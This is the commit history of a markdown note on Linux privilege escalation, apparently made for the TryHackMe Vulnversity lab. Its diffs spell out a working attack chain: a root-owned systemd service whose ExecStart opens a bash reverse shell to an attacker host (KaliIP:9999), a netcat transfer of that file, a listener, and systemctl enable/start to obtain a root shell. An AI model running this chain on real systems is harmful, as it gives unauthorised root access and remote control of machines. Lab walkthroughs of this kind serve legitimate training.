antonga23 · May 7, 2021 14:52 · Feb 2, 2021 · Feb 2, 2021 · Feb 2, 2021 · Feb 2, 2021
diff --git a/Privilege Escalation.md b/Privilege Escalation.md
@@ -1,4 +1,5 @@
-Practice box https://tryhackme.com/room/vulnversity
+# For better reading experience 
+https://alvinsmith.gitbook.io/progressive-oscp/untitled/vulnversity-privilege-escalation
 
 ### 0. Prepare your payload `root.service`
 ```

diff --git a/Privilege Escalation.md b/Privilege Escalation.md
@@ -46,6 +46,7 @@ Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service
 ### 5. The listening 9999 would give you the root
 
 Expand Knowlege
+
 https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory
 
 https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/

diff --git a/Privilege Escalation.md b/Privilege Escalation.md
@@ -21,7 +21,7 @@ or
 ```
 find -type d -maxdepth 2 -writable
 ```
-2. Transfter the payload(There might be other ways)
+### 2. Transfter the payload(There might be other ways)
 ###### Init the target listening the port
 ```
 nc -vl 44444 > root.service
@@ -30,11 +30,11 @@ nc -vl 44444 > root.service
 ```
 nc -n TargetIP 44444 < root.service
 ```
-3. Start listening on the 9999
+### 3. Start listening on the 9999
 ```
 nc -lvnp 9999
 ```
-4. Execute the payload(assume the file is under /var/tmp)
+### 4. Execute the payload(assume the file is under /var/tmp)
 ```
 /bin/systemctl enable /var/tmp/root.service
 Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /var/tmp/root.service
@@ -43,7 +43,7 @@ Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service
 ```
 /bin/systemctl start root
 ```
-5. The listening 9999 would give you the root
+### 5. The listening 9999 would give you the root
 
 Expand Knowlege
 https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory

diff --git a/Privilege Escalation.md b/Privilege Escalation.md
@@ -13,7 +13,7 @@ ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
 [Install]
 WantedBy=multi-user.target
 ```
-1. Find a files/directories that writable 
+### 1. Find a files/directories that writable 
 ```
 find -type f -maxdepth 2 -writable
 ```

diff --git a/Privilege Escalation.md b/Privilege Escalation.md
@@ -1,6 +1,6 @@
 Practice box https://tryhackme.com/room/vulnversity
 
-0. Prepare your payload `root.service`
+### 0. Prepare your payload `root.service`
 ```
 [Unit]
 Description=roooooooooot

diff --git a/Privilege Escalation.md b/Privilege Escalation.md
@@ -1,10 +1,4 @@
-https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory
-
-https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/
-
-https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
-
-practice box https://tryhackme.com/room/vulnversity
+Practice box https://tryhackme.com/room/vulnversity
 
 0. Prepare your payload `root.service`
 ```
@@ -19,11 +13,15 @@ ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
 [Install]
 WantedBy=multi-user.target
 ```
-1. Find a directory that could write files 
+1. Find a files/directories that writable 
 ```
 find -type f -maxdepth 2 -writable
 ```
-2. Transfter the payload
+or
+```
+find -type d -maxdepth 2 -writable
+```
+2. Transfter the payload(There might be other ways)
 ###### Init the target listening the port
 ```
 nc -vl 44444 > root.service
@@ -45,4 +43,11 @@ Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service
 ```
 /bin/systemctl start root
 ```
-5. listening on [any] 9999... now you get the root
+5. The listening 9999 would give you the root
+
+Expand Knowlege
+https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory
+
+https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/
+
+https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
diff --git a/Privilege Escalation.md b/Privilege Escalation.md
@@ -4,6 +4,8 @@ https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/
 
 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
 
+practice box https://tryhackme.com/room/vulnversity
+
 0. Prepare your payload `root.service`
 ```
 [Unit]

diff --git a/README.md → Privilege Escalation.md b/README.md → Privilege Escalation.md
diff --git a/README.md b/README.md
@@ -1,5 +1,7 @@
 https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory
+
 https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/
+
 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
 
 0. Prepare your payload `root.service`
@@ -20,11 +22,11 @@ WantedBy=multi-user.target
 find -type f -maxdepth 2 -writable
 ```
 2. Transfter the payload
-#### Init the target listening the port
+###### Init the target listening the port
 ```
 nc -vl 44444 > root.service
 ```
-#### Send file to traget
+###### Send file to traget
 ```
 nc -n TargetIP 44444 < root.service
 ```

diff --git a/README.md b/README.md
@@ -0,0 +1,44 @@
+https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory
+https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/
+https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
+
+0. Prepare your payload `root.service`
+```
+[Unit]
+Description=roooooooooot
+
+[Service]
+Type=simple
+User=root
+ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
+
+[Install]
+WantedBy=multi-user.target
+```
+1. Find a directory that could write files 
+```
+find -type f -maxdepth 2 -writable
+```
+2. Transfter the payload
+#### Init the target listening the port
+```
+nc -vl 44444 > root.service
+```
+#### Send file to traget
+```
+nc -n TargetIP 44444 < root.service
+```
+3. Start listening on the 9999
+```
+nc -lvnp 9999
+```
+4. Execute the payload(assume the file is under /var/tmp)
+```
+/bin/systemctl enable /var/tmp/root.service
+Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /var/tmp/root.service
+Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service
+```
+```
+/bin/systemctl start root
+```
+5. listening on [any] 9999... now you get the root
No results found